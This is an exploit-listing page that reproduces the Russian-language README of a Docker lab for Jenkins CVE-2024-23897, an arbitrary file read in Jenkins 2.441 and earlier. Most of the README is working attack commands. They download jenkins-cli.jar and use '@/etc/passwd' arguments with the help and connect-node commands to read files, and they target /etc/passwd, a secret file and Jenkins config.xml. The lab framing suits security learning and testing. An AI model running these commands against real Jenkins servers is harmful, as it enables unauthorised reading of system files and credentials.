Sploitus

Exploit for Path Traversal in Jenkins

githubexploit · 2025-07-24

Exploit Code

README42 lines
## https://sploitus.com/exploit?id=60100101-306E-5233-90B5-5EB001923F50
# Jenkins CVE-2024-23897 Lab

Уязвимость чтения произвольных файлов в Jenkins 2.441 и ранее.

## Запуск

```bash
docker-compose up -d
```

## Автоматическая атака

```bash
docker exec -it attacker-host ./auto-exploit.sh
```

## Ручная атака

```bash
docker exec -it attacker-host bash
cd /tmp
curl -o jenkins-cli.jar http://vulnerable-jenkins:8080/jnlpJars/jenkins-cli.jar

# Первая строка файла
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http help "@/etc/passwd"

# Полный файл
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http connect-node "@/etc/passwd"
```

## Цели

- `/etc/passwd`
- `/opt/test-files/secret.txt`
- `/var/jenkins_home/config.xml`

## Остановка

```bash
docker-compose down
```